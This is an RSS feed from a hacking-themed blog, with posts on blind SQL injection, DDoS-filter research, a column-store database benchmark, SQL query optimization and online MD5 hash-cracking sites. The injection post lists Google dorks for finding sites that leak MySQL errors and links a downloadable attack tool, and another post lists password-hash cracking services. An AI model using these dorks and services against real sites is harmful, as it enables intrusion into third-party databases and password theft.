<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacking-Gurus &#187; Database Security</title>
	<atom:link href="http://www.hacking-gurus.net/category/server-security/database-security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hacking-gurus.net</link>
	<description>Security Blog</description>
	<lastBuildDate>Thu, 19 Jan 2012 21:06:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>blind sql injections</title>
		<link>http://www.hacking-gurus.net/2010/04/19/blind-sql-injections/</link>
		<comments>http://www.hacking-gurus.net/2010/04/19/blind-sql-injections/#comments</comments>
		<pubDate>Mon, 19 Apr 2010 20:47:20 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[Amp]]></category>
		<category><![CDATA[Array]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[dork]]></category>
		<category><![CDATA[Download Rar]]></category>
		<category><![CDATA[Download Sql]]></category>
		<category><![CDATA[Download Tool]]></category>
		<category><![CDATA[Download Video]]></category>
		<category><![CDATA[Exec]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[Pg]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[Video Tool]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=187</guid>
		<description><![CDATA[Google Dork: inurl:&#8221;id=&#8221; &#38; intext:&#8221;Warning: mysql_fetch_assoc() inurl:&#8221;id=&#8221; &#38; intext:&#8221;Warning: mysql_fetch_array() inurl:&#8221;id=&#8221; &#38; intext:&#8221;Warning: mysql_num_rows() inurl:&#8221;id=&#8221; &#38; intext:&#8221;Warning: session_start() inurl:&#8221;id=&#8221; &#38; intext:&#8221;Warning: getimagesize() inurl:&#8221;id=&#8221; &#38; intext:&#8221;Warning: is_writable() inurl:&#8221;id=&#8221; &#38; intext:&#8221;Warning: getimagesize() inurl:&#8221;id=&#8221; &#38; intext:&#8221;Warning: Unknown() inurl:&#8221;id=&#8221; &#38; intext:&#8221;Warning: session_start() inurl:&#8221;id=&#8221; &#38; intext:&#8221;Warning: mysql_result() inurl:&#8221;id=&#8221; &#38; intext:&#8221;Warning: pg_exec() inurl:&#8221;id=&#8221; &#38; intext:&#8221;Warning: mysql_result() inurl:&#8221;id=&#8221; &#38; intext:&#8221;Warning: mysql_num_rows() inurl:&#8221;id=&#8221; [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2010/04/19/blind-sql-injections/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "blind+sql+injections";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Google Dork:inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning:  mysql_fetch_assoc()inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning:  mysql_fetch_array()inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning:  mysql_num_rows()inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning: session_start()inurl:&#8221;id=&#8221;  &amp; intext:&#8221;Warning: getimagesize()inurl:&#8221;id=&#8221;...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><strong>Google Dork:</strong><br />
inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning:  mysql_fetch_assoc()<br />
inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning:  mysql_fetch_array()<br />
inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning:  mysql_num_rows()<br />
inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning: session_start()<br />
inurl:&#8221;id=&#8221;  &amp; intext:&#8221;Warning: getimagesize()<br />
inurl:&#8221;id=&#8221; &amp;  intext:&#8221;Warning: is_writable()<br />
inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning:  getimagesize()<br />
inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning: Unknown()<br />
inurl:&#8221;id=&#8221;  &amp; intext:&#8221;Warning: session_start()<br />
inurl:&#8221;id=&#8221; &amp;  intext:&#8221;Warning: mysql_result()<br />
inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning:  pg_exec()<br />
inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning: mysql_result()<br />
inurl:&#8221;id=&#8221;  &amp; intext:&#8221;Warning: mysql_num_rows()<br />
inurl:&#8221;id=&#8221; &amp;  intext:&#8221;Warning: mysql_query()<br />
inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning:  array_merge()<br />
inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning: preg_match()<br />
inurl:&#8221;id=&#8221;  &amp; intext:&#8221;Warning: ilesize()<br />
inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning:  filesize()<br />
inurl:&#8221;id=&#8221; &amp; intext:&#8221;Warning: require()</p>
<p><span id="more-187"></span></p>
<p>Thanks:Prens<br />
Download:  Video + tool<br />
blind_sql.rar</p>
<p>http://rapidshare.com/files/312860013/blind_sql.rar</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2010/04/19/blind-sql-injections/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Computer Network Denial Of Service Denial</title>
		<link>http://www.hacking-gurus.net/2009/10/01/computer-network-denial-of-service-denial/</link>
		<comments>http://www.hacking-gurus.net/2009/10/01/computer-network-denial-of-service-denial/#comments</comments>
		<pubDate>Thu, 01 Oct 2009 05:58:58 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[Wireless Security]]></category>
		<category><![CDATA[Attack Software]]></category>
		<category><![CDATA[Authentication Servers]]></category>
		<category><![CDATA[Computer Engineers]]></category>
		<category><![CDATA[David Irwin]]></category>
		<category><![CDATA[Ddos Attack]]></category>
		<category><![CDATA[Ddos Attacks]]></category>
		<category><![CDATA[Denial Of Service]]></category>
		<category><![CDATA[Denial Of Service Dos]]></category>
		<category><![CDATA[Internet Requests]]></category>
		<category><![CDATA[John Wu]]></category>
		<category><![CDATA[Legitimate Traffic]]></category>
		<category><![CDATA[Legitimate Users]]></category>
		<category><![CDATA[Malicious Purposes]]></category>
		<category><![CDATA[Network Denial]]></category>
		<category><![CDATA[Private Resources]]></category>
		<category><![CDATA[Service Denial]]></category>
		<category><![CDATA[Target Machine]]></category>
		<category><![CDATA[Tong Liu]]></category>
		<category><![CDATA[Valid Passwords]]></category>
		<category><![CDATA[Virtual Private Networks]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=166</guid>
		<description><![CDATA[Denial of Service (DoS) and distributed Denial of Service (DDoS) attacks involve an attempt to make a computer resource unavailable to its intended users. This may simply be for malicious purposes as is often the case when big commercial or famous web sites undergo a DDoS attack. However, it is also possible to exploit the [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/10/01/computer-network-denial-of-service-denial/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Computer+Network+Denial+Of+Service+Denial";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Denial of Service (DoS) and distributed Denial of Service (DDoS) attacks involve an attempt to make a computer resource unavailable to its intended users. This may simply be for malicious purposes as is often the case when big commercial or famous web sites undergo a DDoS attack. However, it is also possible to exploit the system&#8217;s response to...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Denial of Service (DoS) and distributed Denial of Service (DDoS) attacks involve an attempt to make a computer resource unavailable to its intended users. This may simply be for malicious purposes as is often the case when big commercial or famous web sites undergo a DDoS attack. However, it is also possible to exploit the system&#8217;s response to such an attack to break system firewalls, access virtual private networks, and to access other private resources. A DoS attack can also be used to affect a complete network or even a whole section of the Internet.</p>
<p><span id="more-166"></span></p>
<p>Commonly, attack involves simply saturating the target machine with external internet requests. In the case of a DDoS attack the perpetrator recruits other unwitting computers into a network and uses a multitude of machines to mount the attack. The result is that the resource, whether it is a website, an email server, or a database, cannot respond to legitimate traffic in a timely manner and so essentially becomes unavailable to users.</p>
<p>Methods for configuring a network to filter out known DoS attack software and to recognize some of the traffic patterns associated with a mounting DoS attack are available. However, current filters usually rely on the computer being attacked to check whether or not incoming information requests are legitimate or not. This consumes its resources and in the case of a massive DDoS can compound the problem.</p>
<p>Now, computer engineers John Wu, Tong Liu, Andy Huang, and David Irwin of Auburn University have devised a filter to protect systems against DoS attacks that circumvents this problem by developing a new passive protocol that must be in place at each end of the connection: user and resource.</p>
<p>Their protocol &#8211; Identity-Based Privacy-Protected Access Control Filter (IPACF) &#8211; blocks threats to the gatekeeping computers, the Authentication Servers (AS), and so allows legitimate users with valid passwords to access private resources.</p>
<p>The user&#8217;s computer has to present a filter value for the server to do a quick check. The filter value is a one-time secret that needs to be presented with the pseudo ID. The pseudo ID is also one-time use. Attackers cannot forge either of these values correctly and so attack packets are filtered out.</p>
<p>One potential drawback of the added layer of information transfer required for checking user requests is that it could add to the resources needed by the server. However, the researchers have tested how well IPACF copes in the face of a massive DDoS attacks simulated on a network consisting of 1000 nodes with 10 gigabits per second bandwidth. They found that the server suffers little degradation, negligible added information transfer delay (latency) and minimal extra processor usage even when the 10 Gbps pipe to the authentication server is filled with DoS packets. Indeed, the IPACF takes just 6 nanoseconds to reject a non-legitimate information packet associated with the DoS attack.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/10/01/computer-network-denial-of-service-denial/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quick comparison of MyISAM, Infobright, and MonetDB (mysql)</title>
		<link>http://www.hacking-gurus.net/2009/09/30/quick-comparison-of-myisam-infobright-and-monetdb-mysql/</link>
		<comments>http://www.hacking-gurus.net/2009/09/30/quick-comparison-of-myisam-infobright-and-monetdb-mysql/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 04:39:44 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[1 Million]]></category>
		<category><![CDATA[Amazon Server]]></category>
		<category><![CDATA[Architecture]]></category>
		<category><![CDATA[Benchmark]]></category>
		<category><![CDATA[Columns]]></category>
		<category><![CDATA[Databases]]></category>
		<category><![CDATA[Deb]]></category>
		<category><![CDATA[Enough Memory]]></category>
		<category><![CDATA[Graph]]></category>
		<category><![CDATA[Loaded]]></category>
		<category><![CDATA[Monet]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[Mysqldump]]></category>
		<category><![CDATA[Open Source Community]]></category>
		<category><![CDATA[Oriented Database]]></category>
		<category><![CDATA[Random Numbers]]></category>
		<category><![CDATA[Sql Statements]]></category>
		<category><![CDATA[Sums]]></category>
		<category><![CDATA[Tuning Box]]></category>
		<category><![CDATA[Types Of Queries]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=162</guid>
		<description><![CDATA[Recently I was doing a little work for a client who has MyISAM tables with many columns (the same one Peter wrote about recently). The client&#8217;s performance is suffering in part because of the number of columns, which is over 200. The queries are generally pretty simple (sums of columns), but they&#8217;re ad-hoc (can access any [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/09/30/quick-comparison-of-myisam-infobright-and-monetdb-mysql/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Quick+comparison+of+MyISAM%2C+Infobright%2C+and+MonetDB+%28mysql%29";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Recently I was doing a little work for a client who has MyISAM tables with many columns (the same one Peter wrote about recently). The client&#8217;s performance is suffering in part because of the number of columns, which is over 200. The queries are generally pretty simple (sums of columns), but they&#8217;re ad-hoc (can access any columns) and it...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><span style="font-family: arial, sans-serif; line-height: normal; border-collapse: collapse;">Recently I was doing a little work for a client who has MyISAM tables with many columns (the same one <a style="color: #2244bb;" href="http://www.mysqlperformanceblog.com/2009/09/28/how-number-of-columns-affects-performance/" target="_blank">Peter wrote about recently</a>). The client&#8217;s performance is suffering in part because of the number of columns, which is over 200. The queries are generally pretty simple (sums of columns), but they&#8217;re ad-hoc (can access any columns) and it seems tailor-made for a column-oriented database.</p>
<p><span id="more-162"></span></p>
<p>I decided it was time to actually give <a style="color: #2244bb;" href="http://www.infobright.org/" target="_blank">Infobright</a> a try. They have an open-source community edition, which is crippled but not enough to matter for this test. The &#8220;Knowledge Grid&#8221; architecture seems ideal for the types of queries the client runs. But hey, why not also try <a style="color: #2244bb;" href="http://monetdb.cwi.nl/" target="_blank">MonetDB</a>, another open-source column-oriented database I&#8217;ve been meaning to take a look at?</p>
<p>What follows is not a realistic benchmark, it&#8217;s not scientific, it&#8217;s just some quick and dirty tinkering. I threw up an Ubuntu 9.04 small server on Amazon. (I used this version because there&#8217;s a .deb of MonetDB for it). I created a table with 200 integer columns and loaded it with random numbers between 0 and 10000. Initially I wanted to try with 4 million rows, but I had trouble with MonetDB &#8212; there was not enough memory for this. I didn&#8217;t do anything fancy with the Amazon server &#8212; I didn&#8217;t fill up the /mnt disk to claim the bits, for example. I used default tuning, out of the box, for all three databases.</p>
<p>The first thing I tried doing was loading the data with SQL statements. I wanted to see how fast MyISAM vs. MonetDB would interpret really large INSERT statements, the kind produced by mysqldump. But MonetDB choked and told me the number of columns mismatched. I found reference to this on the mailing list, and skipped that. I used LOAD DATA INFILE instead (MonetDB&#8217;s version of that is COPY INTO). This is the only way to get data into Infobright, anyway.</p>
<h3>The tests</h3>
<p>I loaded 1 million rows into the table. Here&#8217;s a graph of the times (smaller is better):</p>
<p><img title="Load Time" src="http://www.mysqlperformanceblog.com/wp-content/uploads/2009/09/load_time.png" alt="Load Time" width="450" height="320" /></p>
<p>MyISAM took 88 seconds, MonetDB took 200, and Infobright took 486. Here&#8217;s the size of the resulting table on disk (smaller is better):</p>
<p><img title="Table Size in Bytes" src="http://www.mysqlperformanceblog.com/wp-content/uploads/2009/09/table_size_bytes.png" alt="Table Size in Bytes" width="450" height="320" /></p>
<p>MyISAM is 787MB, MonetDB is 791MB, and Infobright is 317MB. Next I ran three queries:</p>
<div style="margin: 0px;"><span><a style="color: #2244bb;" href="http://www.mysqlperformanceblog.com/2009/09/29/quick-comparison-of-myisam-infobright-and-monetdb/" target="_blank">PLAIN TEXT</a></span></div>
<div style="margin: 0px;"><span>SQL:</span></p>
<div style="margin: 0px;">
<div style="margin: 0px;">
<ol>
<li>
<div style="margin: 0px;"><span>SELECT</span> sum<span>(</span>c19<span>)</span>, sum<span>(</span>c89<span>)</span>, sum<span>(</span>c129<span>)</span> <span>FROM</span> t;</div>
</li>
<li>
<div style="margin: 0px;"><span>SELECT</span> sum<span>(</span>c19<span>)</span>, sum<span>(</span>c89<span>)</span>, sum<span>(</span>c129<span>)</span> <span>FROM</span> t <span>WHERE</span> c11&gt; <span>5</span>;</div>
</li>
<li>
<div style="margin: 0px;"><span>SELECT</span> sum<span>(</span>c19<span>)</span>, sum<span>(</span>c89<span>)</span>, sum<span>(</span>c129<span>)</span> <span>FROM</span> t <span>WHERE</span> c11 &lt;<span>5</span>;</div>
</li>
</ol>
</div>
</div>
</div>
<p>Graphs of query performance time for all three databases are really not very helpful, because MyISAM is so much slower that you can&#8217;t see the graphs for the others. So I&#8217;ll give the numbers and then omit MyISAM from the graphs. Here are the numbers for everything I measured:</p>
<p></span></p>
<table border="0">
<thead>
<tr>
<td></td>
<th>myisam</th>
<th>monetdb</th>
<th>infobright</th>
</tr>
</thead>
<tbody>
<tr>
<th>size (bytes)</th>
<td>826000000</td>
<td>829946723</td>
<td>332497242</td>
</tr>
<tr>
<th>load time (seconds)</th>
<td>88</td>
<td>200</td>
<td>486</td>
</tr>
<tr>
<th>query1 time</th>
<td>3.4</td>
<td>0.012</td>
<td>0.0007</td>
</tr>
<tr>
<th>query2 time</th>
<td>3.4</td>
<td>0.15</td>
<td>1.2</td>
</tr>
<tr>
<th>query3 time</th>
<td>2.5</td>
<td>0.076</td>
<td>0.15</td>
</tr>
</tbody>
</table>
<p><span style="font-family: arial, sans-serif; line-height: normal; border-collapse: collapse;">And here is a graph of Infobright duking it out with MonetDB on the three queries I tested (shorter bar is better):</p>
<p><img title="MonetDB vs Infobright Query Time" src="http://www.mysqlperformanceblog.com/wp-content/uploads/2009/09/monetdb_infobright_query_time1.png" alt="MonetDB vs Infobright Query Time" width="492" height="320" /></p>
<p>I ran each query a few times, discarded the first run, and averaged the next three together.</p>
<h3>Notes on Infobright</h3>
<p>A few miscellaneous notes: don&#8217;t forget that Infobright is <em>not</em> just a storage engine plugged into MySQL. It&#8217;s a complete server with a different optimizer, etc. This point was hammered home during the LOAD DATA INFILE, when I looked to see what was taking so long (I was tempted to use oprofile and see if there are sleep() statements). What did I see in &#8216;top&#8217; but a program called bhloader. This bhloader program was the only thing doing anything; mysqld wasn&#8217;t doing a thing. LOAD DATA INFILE in Infobright isn&#8217;t what it seems to be. Otherwise, Infobright behaved about as I expected it to; it seemed pretty normal to a MySQL guy.</p>
<h3>Notes on MonetDB</h3>
<p>MonetDB was a bit different. I had to be a bit resourceful to get everything going. The documentation was for an old version, and was pretty sparse. I had to go to the mailing lists to find the correct COPY syntax &#8212; it wasn&#8217;t that listed in the online manual. And there were funny things like a &#8220;merovingian&#8221; process (think &#8220;angel&#8221;) that had to be started before the server would start, and I had to destroy the demo database and recreate it before I could start it as shown in the tutorials.</p>
<p>MonetDB has some unexpected properties; it is not a regular RDBMS. Still, I&#8217;m quite impressed by it in some ways. For example, it seems quite nicely put together, and it&#8217;s not at all hard to learn.</p>
<p>It doesn&#8217;t really &#8220;speak SQL&#8221; &#8212; it speaks relational algebra, and the SQL is just a front-end to it. You can talk XQuery to it, too. I&#8217;m not sure if you can talk dirty to it, but you can sure talk nerdy to it: you can, should you choose to, give it instructions in MonetDB Assembly Language (MAL), the underlying language. An abstracted front-end is a great idea; MySQL abstracts the storage backend, but why not do both? Last I checked, Drizzle is going this direction, hurrah!</p>
<p>EXPLAIN is enlightening and frightening! You get to see the intermediate code from the compiler. <a style="color: #2244bb;" href="http://monetdb.cwi.nl/projects/monetdb/SQL/Documentation/EXPLAIN-Statement.html" target="_blank">The goggles, they do nothing!</a></p>
<p>From what I was able to learn about MonetDB in an hour, I believe it uses memory-mapped files to hold the data in-memory. If this is true, it explains why I couldn&#8217;t load 4 million rows into it (this was a 32-bit Amazon machine).</p>
<p>The SQL implementation is impressive. It&#8217;s a really solid subset of SQL:2003, much more than I expected. It even has CTEs, although not recursive ones. (No, there is no REPLACE, and there is no INSERT/ON DUPLICATE KEY UPDATE.) I didn&#8217;t try the XQuery interface.</p>
<p>Although I didn&#8217;t try it out, there are what looks like pretty useful instrumentation interfaces for profiling, debugging and the like. The query timer is in milliseconds (why doesn&#8217;t mysql show query times in microseconds? I had to resort to Perl + Time::HiRes for timing the Infobright queries).</p>
<p>I think it can be quite useful. However, I&#8217;m not quite sure it&#8217;s useful for &#8220;general-purpose&#8221; database use &#8212; there are a number of limitations (concurrency, for one) and it looks like it&#8217;s still fairly experimental.</p>
<hr style="height: 1px; margin: 0px;" />
</span></p>
<p>via <a href="http://www.mysqlperformanceblog.com/2009/09/29/quick-comparison-of-myisam-infobright-and-monetdb/">Quick comparison of MyISAM, Infobright, and MonetDB</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/09/30/quick-comparison-of-myisam-infobright-and-monetdb-mysql/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>SQL WHERE Clause Optimization</title>
		<link>http://www.hacking-gurus.net/2009/09/25/sql-where-clause-optimization/</link>
		<comments>http://www.hacking-gurus.net/2009/09/25/sql-where-clause-optimization/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 19:34:42 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[Analogy]]></category>
		<category><![CDATA[Blah]]></category>
		<category><![CDATA[Clauses]]></category>
		<category><![CDATA[Dictionary]]></category>
		<category><![CDATA[Fn]]></category>
		<category><![CDATA[Index Scans]]></category>
		<category><![CDATA[Lt]]></category>
		<category><![CDATA[Maximum Performance]]></category>
		<category><![CDATA[Mistake]]></category>
		<category><![CDATA[Optimization Sql]]></category>
		<category><![CDATA[Optimizer]]></category>
		<category><![CDATA[Queries]]></category>
		<category><![CDATA[Risk]]></category>
		<category><![CDATA[Single Word]]></category>
		<category><![CDATA[Sql Where Clause]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=156</guid>
		<description><![CDATA[SQL WHERE clause optimization is important to get maximum performance from a query. If an index exists on a column you obviously want the query to use it. In this article, I explain how to reduce risk of table or index scans by paying close attention to the way the conditions are formulated. A term [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/09/25/sql-where-clause-optimization/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "SQL+WHERE+Clause+Optimization";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "SQL WHERE clause optimization is important to get maximum performance from a query. If an index exists on a column you obviously want the query to use it.In this article, I explain how to reduce risk of table or index scans by paying close attention to the way the conditions are formulated.A term that is often used is &#8220;SARGable&#8221;. This basically...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><img class="alignleft" title="hacking-gurus.net" src="http://www.daleeman.com/wp-content/uploads/2009/05/database_icon.jpg" alt="" width="134" height="134" /></p>
<p><span id="more-156"></span></p>
<p>SQL WHERE clause optimization is important to get maximum performance from a query. If an index exists on a column you obviously want the query to use it.</p>
<p>In this article, I explain how to reduce risk of table or index scans by paying close attention to the way the conditions are formulated.</p>
<p>A term that is often used is &#8220;SARGable&#8221;. This basically refers to a condition in a WHERE clause that is able to use an index if one exists.</p>
<p>Examples of SARGable conditions are: A = x, B LIKE &#8216;AB%&#8217;, C IN (x, y, z). In each of these the optimizer is able to use an index. Examples of Non-SARGable conditions are: A &lt;&gt; x, B LIKE &#8216;%AB&#8217;, C NOT IN (x, y, z).</p>
<p>If you think about each of these it should be obvious why an index cannot be used. To explain why B LIKE &#8216;%AB&#8217; is bad, I like to use the analogy of a large dictionary. If you know what letters the word starts with you can find it very quickly. If you only know what letters it ends with you have no option but to read the entire dictionary and check every single word.</p>
<p>You should also avoid using NOT in your WHERE clauses. NOT IN, NOT LIKE and IS NOT NULL perform a scan for exactly the reasons given above. The exception may be NOT EXISTS, which can perform very well for many queries.</p>
<p>One very common mistake is to use functions in such a way that a scan is performed. A condition of the form WHERE Fn(A) = x will not use an index on A, as the function has to be applied to this column in every row before it can be compared with x.</p>
<p>This needs an example to explain properly: suppose you want to match rows added in the last 5 days. I often see this written as follows:</p>
<p><textarea style="height: 50px;">SELECT blah FROM table1 WHERE DATEADD(day, 5, CreateDate) &gt; GETDATE()</textarea> This should be rewritten as follows:</p>
<p><textarea style="height: 50px;">SELECT blah FROM table1 WHERE CreateDate &gt; DATEADD(day, -5, GETDATE())</textarea> There may be situations in which use of a function is unavoidable. In this case you can add a computed column that uses the function, add an index to the computed column, and refer to the computed column directly in the query.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/09/25/sql-where-clause-optimization/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Crack MD5 Password Hash Online</title>
		<link>http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/</link>
		<comments>http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 03:23:19 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Password Recovery]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[passwd]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=111</guid>
		<description><![CDATA[Hello , below is some links to crack md5 password hashes online , i will keep this post updated with all online links for cracking md5. http://gdataonline.com http://md5.rednoize.com http://ice.breaker.free.fr http://www.milw0rm.com/md5/ http://shm.hard-core.pl/md5/ http://www.hashchecker.com http://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/ http://md5.benramsey.com http://md5.altervista.org http://shm.hard-core.pl http://plain-text.info http://www.passcracking.ru/ http://www.securitystats.com/tools/hashcrack.php http://www.xmd5.org/index_en.htm]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Crack+MD5+Password+Hash+Online";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Hello ,below is some links to crack md5 password hashes online , i will keep this post updated with all online links for cracking md5.http://gdataonline.comhttp://md5.rednoize.comhttp://ice.breaker.free.frhttp://www.milw0rm.com/md5/http://shm.hard-core.pl/md5/http://www.hashchecker.comhttp://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/http://md5.benramsey.comhttp://md5.altervista.orghttp://shm.hard-core.plhttp://plain-text.infohttp://www.passcracking.ru/http://www.securitystats.com/tools/hashcrack.phphttp://www.xmd5.org/index_en.htm";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Hello ,</p>
<p>below is some links to crack md5 password hashes online , i will keep this post updated with all online links for cracking md5.</p>
<p><span id="more-111"></span></p>
<p><a href="http://gdataonline.com" target="_blank">http://gdataonline.com</a><br />
<a href="http://md5.rednoize.com" target="_blank">http://md5.rednoize.com</a><br />
<a href="http://ice.breaker.free.fr" target="_blank">http://ice.breaker.free.fr</a><br />
<a href="http://www.milw0rm.com/md5/" target="_blank"><strong>http://www.milw0rm.com/md5/</strong></a><br />
<a href="http://shm.hard-core.pl/md5/" target="_blank">http://shm.hard-core.pl/md5/</a><br />
<a href="http://www.hashchecker.com" target="_blank">http://www.hashchecker.com</a><br />
<a href="http://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/" target="_blank">http://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/</a><br />
<a href="http://md5.benramsey.com" target="_blank">http://md5.benramsey.com</a><br />
<a href="http://md5.altervista.org" target="_blank">http://md5.altervista.org</a><br />
<a href="http://shm.hard-core.pl" target="_blank">http://shm.hard-core.pl</a><br />
<a href="http://plain-text.info" target="_blank">http://plain-text.info</a><br />
<a href="http://www.passcracking.ru/" target="_blank">http://www.passcracking.ru/</a><br />
<a href="http://www.securitystats.com/tools/hashcrack.php" target="_blank">http://www.securitystats.com/tools/hashcrack.php</a><br />
<a href="http://www.xmd5.org/index_en.htm" target="_blank">http://www.xmd5.org/index_en.htm</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/feed/</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>How to Backing up and Restoring Your MySQL Server</title>
		<link>http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/</link>
		<comments>http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 03:05:55 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Servers]]></category>
